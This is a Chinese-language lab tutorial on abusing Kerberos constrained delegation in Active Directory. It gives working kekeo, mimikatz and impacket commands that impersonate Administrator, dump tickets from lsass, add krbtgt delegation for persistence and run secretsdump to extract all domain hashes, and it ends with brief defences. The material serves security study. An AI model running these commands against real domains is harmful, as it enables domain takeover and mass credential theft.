内网渗透-约束委派攻击Constrained delegation

约束委派攻击Constrained delegation

• 接受委派的用户只能是服务账户或者计算机用户

  条件

• 配置了约束委派的用户的userAccountControl 属性有个FLAG位 TrustedToAuthForDelegation
• 约束的资源委派，除了配置TRUSTED_TO_AUTH_FOR_DELEGATION 之外，还有个地方是存储对哪个spn 进行委派的，位于msDS-AllowedToDelegateTo 约束委派的安全问题就是如果我们找到配置了约束委派的服务账号，比如这里面的JACKSON-PC$，并且通过一定手段拿下该账号所在的机子。我们就可以利用这个服务账号代表任意用户(这里面很重要的一点是服务代表用户获得针对服务自身的kerberos票据这个过程，服务是不需要用户的凭据的)进行s4u2self获得一个可转发的票据，然后把获取到的票据用于s4u2proxy(作为AddtionTicket)，从未获取一个可转发的TGS，服务就可以代替任意用户访问另外一个服务(既被配置的约束委派的服务，这里面就是cifs/WIN-JQO4OSMOGK2.JMU.com）。 相较于非约束的委派，约束的委派并不需要用户过来访问就可以代表该用户，但是只能访问特定的服务(对于 HOST SPN，则可以实现完全的远程接管。 对于 MSSQLSvc SPN，则可以拿到 DBA 权限。 对于 CIFS SPN 则可以实现完全的远程文件访问。对于 HTTP SPN 则可能实现接管远程网络服务，而对于 LDAP 则可以执行 DCSync;) ，对于 HTTP 或 SQL 服务帐户，即使它们没有提升目标服务器上的管理员权限，也可能使用 Rotten Potato 进一步滥用，提权至 SYSTEM 的权限)，不像非约束的委派哪个可以访问任意服务。
• S4U2Self和S4U2proxy的请求过程（图来自微软手册）：

注：其中步骤1-4代表S4U2Self请求的过程，步骤5-10代表S4U2proxy的请求过程

1. 用户向service1发出请求。用户已通过身份验证，但service1没有用户的授权数据。通常，这是由于身份验证是通过Kerberos以外的其他方式验证的。
2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。
3. KDC返回给Service1一个用于用户验证Service1的ST1，该ST1可能包含用户的授权数据。
4. service1可以使用ST中的授权数据来满足用户的请求，然后响应用户。
注：尽管S4U2self向service1提供有关用户的信息，但S4U2self不允许service1代表用户发出其他服务的请求，这时候就轮到S4U2proxy发挥作用了
5. 用户向service1发出请求，service1需要以用户身份访问service2上的资源。
6. service1以用户的名义向KDC请求用户访问service2的ST2
7. 如果请求中包含PAC，则KDC通过检查PAC的签名数据来验证PAC ，如果PAC有效或不存在，则KDC返回ST2给service1，但存储在ST2的cname和crealm字段中的客户端身份是用户的身份，而不是service1的身份。
8. service1使用ST2以用户的名义向service2发送请求，并判定用户已由KDC进行身份验证。
9. service2响应步骤8的请求。
10. service1响应用户对步骤5中的请求。

LDAP过滤规则

• adfind

  adfind.exe -b dc=sync,dc=net -f "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" -dn
  

• powershell https://github.com/shigophilo/tools/blob/master/PowerView.ps1

  Import-Module PowerView.ps1
  Get-DomainUser –TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
  

  操作

  操作环境：

• 域：qiyou.com
• 域内主机：windows server 2012R2，主机名：DM2012，IP：192.168.141.134，用户：qiyou
• 域内主机：DM08 DM08是域内的另外一台主机，下面我们设置了服务用户qiyou对DM08的cifs服务的委派 概述那里我们讲了在约束委派的情况下，服务用户只能获取某个用户（或主机）的服务的ST，所以只能模拟用户访问特定的服务，是无法获取用户的TGT，如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash，我们就可以伪造S4U请求，进而伪装成服务用户以任意账户的权限申请访问某服务的ST

已经知道服务用户明文的条件下，我们可以用kekeo请求该用户的TGT

tgt::ask /user:qiyou /domain:qiyou.com /password:password /ticket:test.kirbi

参数： /user: 服务用户的用户名 /password: 服务用户的明文密码 /domain: 所在域名 /ticket: 指定票据名称，不过这个参数没有生效，可以忽略 得到服务用户TGT：TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi

然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问dm08 CIFS的ST

tgs::s4u /tgt:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com

S4U2Self获取到的ST1以及S4U2Proxy获取到的dm08 CIFS服务的ST2会保存在当前目录下

然后我们用mimikatz将ST2导入当前会话即可

kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi

成功访问到dm08的cifs服务 上面是知道服务用户明文的情况下，kekeo同样也支持使用NTLM Hash

在请求服务用户的TGT那步直接把/password改成/NTLM即可

已知我们服务账号qiyou的NTLM hash是b4f27a13d0f78d5ad83750095ef2d8ec

tgt::ask /user:qiyou /domain:qiyou.com /NTLM:b4f27a13d0f78d5ad83750095ef2d8ec
tgs::s4u /tgt:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com

kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi

如果我们不知道服务用户的明文和NTLM Hash，但是我们有了服务用户登陆的主机权限（需要本地管理员权限），我们可以用mimikatz直接从内存中把服务用户的TGT dump出来

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

注：sekurlsa::tickets是列出和导出所有会话的Kerberos票据，sekurlsa::tickets和kerberos::list不同，sekurlsa是从内存读取，也就是从lsass进程读取，这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制，sekurlsa可以访问其他会话（用户）的票证。

既然服务用户的TGT导出来了，我们就跳过tgt::ask请求TGT这步，直接tgs::s4u

tgs::s4u /tgt:[0;196b1e4]-2-0-60a00000-qiyou@krbtgt-QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com

kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi

我们来抓包看一下整个委派请求的过程

可以看到有6个请求响应的过程，我们可以分为3步来分析

1. 可以看到用户qiyou首先向KDC请求一张TGT，AS-REP请求里返回TGT，这张TGT代表的是qiyou这个用户
2. 然后用这张TGT发送S4U2self请求，以Administrator的名义向TGS申请了一张访问自身服务的票据，我们这里就称为ST1吧
3. 得到ST1之后，然后会带上ST1再次向KDC发起SU42Proxy请求，以administrator的名义请求一张访问DM08 cifs服务的票据，我们这里就称为ST2吧 上述数据包请求过程中：第一步对应的是我们kekeo的tgt::ask；2-3是对应tgs::s4u，其中ST1和ST2分别对应的就是kekeo生成的TGS_Administrator@qiyou.com@QIYOU.COM_qiyou@QIYOU.COM.kirbi和TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi，不过我们最终用到是ST2，ST1可以看作一个中间产物。

得到ST2之后我们就可以回到我们的攻击机上进行ptt就能得到DM08 cifs的访问权限了

利用约束委派生成黄金票据

操作环境：

• 域：qiyou.com
• 域控：windows server 2008R2，主机名：WIN-QFPHJSM1L7G，IP：192.168.141.145，用户：administrator
• 域内主机：windows server 2012R2，主机名：DM2012，IP：192.168.141.134，用户：qiyou 我们都知道TGT的生成是由krbtgt用户加密和签名的，如果我们能委派域上的用户去访问TGS，那么就可以伪造任意用户的TGT了，黄金票据通常情况下我们是用krbtgt的hash来伪造TGT，不过我们通过约束委派也能达到同样的效果。

注：TGS默认的spn是krbtgt/domain name，我们操作环境是krbtgt/QIYOU.COM

krbtgt默认是禁用的而且无法启用，所以我们无法使用界面来添加这个SPN。

我们可以使用powershell来添加

Import-Module ActiveDirectory
$user = Get-ADUser qiyou
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/qiyou.com") }

注：域控默认安装ActiveDirectory，如果没有安装，可以下载dll：下载地址，然后导入就行了：import-module .\Microsoft.ActiveDirectory.Management.dll GUI界面查看一下，成功添加 我们可以用impacket系列的getST向KDC请求administrator的TGT

getst.exe -dc-ip 192.168.141.145 -spn krbtgt/qiyou.com -impersonate Administrator qiyou.com/qiyou:password

参数： -impersonate：表示伪造用户 -spn：表示我们要委派的服务的spn，这里是TGS -dc-ip：域控ip

执行之后会在当前目录生成一个缓存文件Administrator.ccache 然后用mimikatz进行ptc（pass the cache），将缓存注入当前会话中

kerberos::ptc Administrator.ccache

klist查看缓存的票据

klist

访问域控 执行命令的话我们可以用impacket系列或者powershell都可以

wmiexec

set KRB5CCNAME=Administrator.ccache

wmiexec.exe -no-pass -k administrator@WIN-QFPHJSM1L7G.qiyou.com -dc-ip 192.168.141.145

导出域控上所有用户以及主机的hash

set KRB5CCNAME=Administrator.ccache

secretsdump.exe -no-pass -k WIN-QFPHJSM1L7G.qiyou.com

请求过程和上面的cifs是一样的只不过是把cifs换krbtgt而已，所以这里就不抓包演示了

## 高权限用户没有在特殊要求之下设置为不可委派 如图 为了防止凭据被盗微软推出了Protected Users组，适用于Windows Server 2016，Windows Server 2012 R2、 Windows Server 2012 关于Protected Users组成员的特点请参考软手册就不多赘述了 提高服务用户密码强度，防止黑客通过Kerberoasting等手段对口令进行暴力破解